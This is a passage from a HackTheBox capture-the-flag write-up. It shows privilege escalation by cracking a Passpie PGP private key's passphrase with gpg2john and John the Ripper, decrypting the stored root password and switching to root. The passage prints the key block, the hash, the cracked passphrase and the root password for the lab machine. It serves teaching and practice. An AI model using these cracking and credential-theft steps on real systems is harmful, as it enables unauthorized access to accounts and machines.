  FU9d04WCssSi9J5/BiYiRwFqhMRXqvHg9tqUyKLnsq8mwn0Scc5SVYh4BBgRCAAg
  FiEEfGeGp1YbyE9QSGceOHd1w1dF0gMFAmK4V9YCGwwACgkQOHd1w1dF0gOm5gD9
  GUQfB+Jx/Fb7TARELr4XFObYZq7mq/NUEC+Po3KGdNgA/04lhPjdN3wrzjU3qmrL
  fo6KI+w2uXLaw+bIT1XZurDN
  =dqsF
  -----END PGP PUBLIC KEY BLOCK-----
  -----BEGIN PGP PRIVATE KEY BLOCK-----

  lQUBBGK4V9YRDADENdPyGOxVM7hcLSHfXg+21dENGedjYV1gf9cZabjq6v440NA1
  AiJBBC1QUbIHmaBrxngkbu/DD0gzCEWEr2pFusr/Y3yY4codzmteOW6Rg2URmxMD
  /GYn9FIjUAWqnfdnttBbvBjseL4sECpmgxTIjKbWAXlqgEgNjXD306IweEy2FOho
  3LpAXxfk8C/qUCKcpxaz0G2k0do4+VTKZ+5UDpqM5++soJqhCrUYudb9zyVyXTpT
  ZjMvyXe5NeC7JhBCKh+/Wqc4xyBcwhDdW+WU54vuFUthn+PUubEN1m+s13BkyvHV
  gNAM4v6terRItXdKvgvHtJxE0vhlNSjFAedACHC4sN+dRqFu4li8XPIVYGkuK9pX
  5xA6Nj+8UYRoZrP4SYtaDslT63ZaLd2MvwP+xMw2XEv8Uj3TGq6BIVWmajbsqkEp
  tQkU7d+nPt1aw2sA265vrIzry02NAhxL9YQGNJmXFbZ0p8cT3CswedP8XONmVdxb
  a1UfdG+soO3jtQsBAKbYl2yF/+D81v+42827iqO6gqoxHbc/0epLqJ+Lbl8hC/sG
  WIVdy+jynHb81B3FIHT832OVi2hTCT6vhfTILFklLMxvirM6AaEPFhxIuRboiEQw
  8lQMVtA1l+Et9FXS1u91h5ZL5PoCfhqpjbFD/VcC5I2MhwL7n50ozVxkW2wGAPfh
  cODmYrGiXf8dle3z9wg9ltx25XLsVjoR+VLm5Vji85konRVuZ7TKnL5oXVgdaTML
  qIGqKLQfhHwTdvtYOTtcxW3tIdI16YhezeoUioBWY1QM5z84F92UVz6aRzSDbc/j
  FJOmNTe7+ShRRAAPu2qQn1xXexGXY2BFqAuhzFpO/dSidv7/UH2+x33XIUX1bPXH
  FqSg+11VAfq3bgyBC1bXlsOyS2J6xRp31q8wJzUSlidodtNZL6APqwrYNhfcBEuE
  PnItMPJS2j0DG2V8IAgFnsOgelh9ILU/OfCA4pD4f8QsB3eeUbUt90gmUa8wG7uM
  FKZv0I+r9CBwjTK3bg/rFOo+DJKkN3hAfkARgU77ptuTJEYsfmho84ZaR3KSpX4L
  /244aRzuaTW75hrZCJ4RxWxh8vGw0+/kPVDyrDc0XNv6iLIMt6zJGddVfRsFmE3Y
  q2wOX/RzICWMbdreuQPuF0CkcvvHMeZX99Z3pEzUeuPu42E6JUj9DTYO8QJRDFr+
  F2mStGpiqEOOvVmjHxHAduJpIgpcF8z18AosOswa8ryKg3CS2xQGkK84UliwuPUh
  S8wCQQxveke5/IjbgE6GQOlzhpMUwzih7+15hEJVFdNZnbEC9K/ATYC/kbJSrbQM
  RfcJUrnjPpDFgF6sXQJuNuPdowc36zjE7oIiD69ixGR5UjhvVy6yFlESuFzrwyeu
  TDl0UOR6wikHa7tF/pekX317ZcRbWGOVr3BXYiFPTuXYBiX4+VG1fM5j3DCIho20
  oFbEfVwnsTP6xxG2sJw48Fd+mKSMtYLDH004SoiSeQ8kTxNJeLxMiU8yaNX8Mwn4
  V9fOIdsfks7Bv8uJP/lnKcteZjqgBnXPN6ESGjG1cbVfDsmVacVYL6bD4zn6ZN/n
  WP4HAwKQfLVcyzeqrf8h02o0Q7OLrTXfDw4sd/a56XWRGGeGJgkRXzAqPQGWrsDC
  6/eahMAwMFbfkhyWXlifgtfdcQme2XSUCNWtF6RCEAbYm0nAtDNQYXNzcGllIChB
  dXRvLWdlbmVyYXRlZCBieSBQYXNzcGllKSA8cGFzc3BpZUBsb2NhbD6IkAQTEQgA
  OBYhBHxnhqdWG8hPUEhnHjh3dcNXRdIDBQJiuFfWAhsjBQsJCAcCBhUKCQgLAgQW
  AgMBAh4BAheAAAoJEDh3dcNXRdIDRFQA/3V6S3ad2W9c1fq62+X7TcuCaKWkDk4e
  qalFZ3bhSFVIAP4qI7yXjBXZU4+Rd+gZKp77UNFdqcCyhGl1GpAJyyERDZ0BXwRi
  uFfWEAQAhBp/xWPRH6n+PLXwJf0OL8mXGC6bh2gUeRO2mpFkFK4zXE5SE0znwn9J
  CBcYy2EePd5ueDYC9iN3H7BYlhAUaRvlU7732CY6Tbw1jbmGFLyIxS7jHJwd3dXT
  +PyrTxF+odQ6aSEhT4JZrCk5Ef7/7aGMH4UcXuiWrgTPFiDovicAAwUD/i6Q+sq+
  FZplPakkaWO7hBC8NdCWsBKIQcPqZoyoEY7m0mpuSn4Mm0wX1SgNrncUFEUR6pyV
  jqRBTGfPPjwLlaw5zfV+r7q+P/jTD09usYYFglqJj/Oi47UVT13ThYKyxKL0nn8G
  JiJHAWqExFeq8eD22pTIoueyrybCfRJxzlJV/gcDAsPttfCSRgia/1PrBxACO3+4
  VxHfI4p2KFuza9hwok3jrRS7D9CM51fK/XJkMehVoVyvetNXwXUotoEYeqoDZVEB
  J2h0nXerWPkNKRrrfYh4BBgRCAAgFiEEfGeGp1YbyE9QSGceOHd1w1dF0gMFAmK4
  V9YCGwwACgkQOHd1w1dF0gOm5gD9GUQfB+Jx/Fb7TARELr4XFObYZq7mq/NUEC+P
  o3KGdNgA/04lhPjdN3wrzjU3qmrLfo6KI+w2uXLaw+bIT1XZurDN
  =7Uo6
  -----END PGP PRIVATE KEY BLOCK-----
</code></pre></div>    </div>

    <p>For convenience, I save the two keys locally with the names <code class="language-html highlighter-rouge">public.key</code> and <code class="language-html highlighter-rouge">private.key</code></p>

    <ul>
      <li>
        <p><code class="language-html highlighter-rouge">gpg --import public.key</code></p>

        <p><code class="language-html highlighter-rouge">gpg --list-public-keys</code></p>
        <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  /home/user/.gnupg/pubring.kbx
  -----------------------------
  pub   dsa3072 2022-06-26 [SCA]
      7C6786A7561BC84F5048671E387775C35745D203
  uid           [ unknown] Passpie (Auto-generated by Passpie) <span class="nt">&lt;passpie</span><span class="err">@</span><span class="na">local</span><span class="nt">&gt;</span>
  sub   elg1024 2022-06-26 [E]
</code></pre></div>        </div>
      </li>
    </ul>
  </li>
</ul>

<p><br /><br /></p>

<h2 id="password-cracking-2">Password Cracking 2</h2>

<ul>
  <li>
    <p><code class="language-html highlighter-rouge">gpg --import private.key</code>, the previous command asks me for a password that I don’t know, I then use the <code class="language-html highlighter-rouge">gpg2john</code> tool to extract the hash of the password used by GnuPG</p>

    <p><code class="language-html highlighter-rouge">gpg2john private.key &gt; gpghash.txt</code></p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  Passpie:$gpg$*17*54*3072*e975911867862609115f302a3d0196aec0c2ebf79a84c0303056df921c965e589f82d7dd71099ed9749408d5ad17a4421006d89b49c0*3*254*2*7*16*21d36a3443b38bad35df0f0e2c77f6b9*65011712*907cb55ccb37aaad:::Passpie (Auto-generated by Passpie) <span class="nt">&lt;passpie</span><span class="err">@</span><span class="na">local</span><span class="nt">&gt;</span>::private.key
</code></pre></div>    </div>

    <p>bruteforce attack with: <code class="language-html highlighter-rouge">john gpghash.txt</code></p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  blink182         (Passpie) 
</code></pre></div>    </div>

    <p>I then rerun the command <code class="language-html highlighter-rouge">gpg --import private.key</code> by entering the password I just found</p>

    <p><code class="language-html highlighter-rouge">gpg --list-secret-keys</code></p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  /home/user/.gnupg/pubring.kbx
  -----------------------------
  sec   dsa3072 2022-06-26 [SCA]
      7C6786A7561BC84F5048671E387775C35745D203
  uid           [ unknown] Passpie (Auto-generated by Passpie) <span class="nt">&lt;passpie</span><span class="err">@</span><span class="na">local</span><span class="nt">&gt;</span>
  ssb   elg1024 2022-06-26 [E]
</code></pre></div>    </div>
  </li>
  <li>
    <p>Now i can decrypt the root password</p>

    <p><code class="language-html highlighter-rouge">root.pass.gpg</code></p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  -----BEGIN PGP MESSAGE-----

  hQEOA6I+wl+LXYMaEAP/T8AlYP9z05SEST+Wjz7+IB92uDPM1RktAsVoBtd3jhr2
  nAfK00HJ/hMzSrm4hDd8JyoLZsEGYphvuKBfLUFSxFY2rjW0R3ggZoaI1lwiy/Km
  yG2DF3W+jy8qdzqhIK/15zX5RUOA5MGmRjuxdco/0xWvmfzwRq9HgDxOJ7q1J2ED
  /2GI+i+Gl+Hp4LKHLv5mMmH5TZyKbgbOL6TtKfwyxRcZk8K2xl96c3ZGknZ4a0Gf
  iMuXooTuFeyHd9aRnNHRV9AQB2Vlg8agp3tbUV+8y7szGHkEqFghOU18TeEDfdRg
  krndoGVhaMNm1OFek5i1bSsET/L4p4yqIwNODldTh7iB0ksB/8PHPURMNuGqmeKw
  mboS7xLImNIVyRLwV80T0HQ+LegRXn1jNnx6XIjOZRo08kiqzV2NaGGlpOlNr3Sr
  lpF0RatbxQGWBks5F3o=
  =uh1B

  -----END PGP MESSAGE-----
</code></pre></div>    </div>

    <p><code class="language-html highlighter-rouge">gpg --output root.pass --decrypt root.pass.gpg</code></p>

    <p>in the <code class="language-html highlighter-rouge">root.pass</code> file it is present</p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  p7qfAZt4_A1xo_0x
</code></pre></div>    </div>

    <p>I can become root by entering the password (<code class="language-html highlighter-rouge">su root</code>)</p>

    <p><code class="language-html highlighter-rouge">id</code></p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  uid=0(root) gid=0(root) groups=0(root)
</code></pre></div>    </div>
  </li>
</ul>]]></content><author><name>Federico Fantini</name></author><category term="Writeups" /><category term="HackTheBox" /><category term="CTF" /><category term="WordPress-5.6.2" /><category term="CVE-2022-0739" /><category term="SQL-Injection" /><category term="CVE-2021-29447" /><category term="XXE" /><category term="Passpie" /><category term="PGP-Decryption" /><summary type="html"><![CDATA[INDEX INDEX Enumeration SQL Injection Exploitation Password Cracking 1 XXE Privesc Password Cracking 2]]></summary></entry></feed>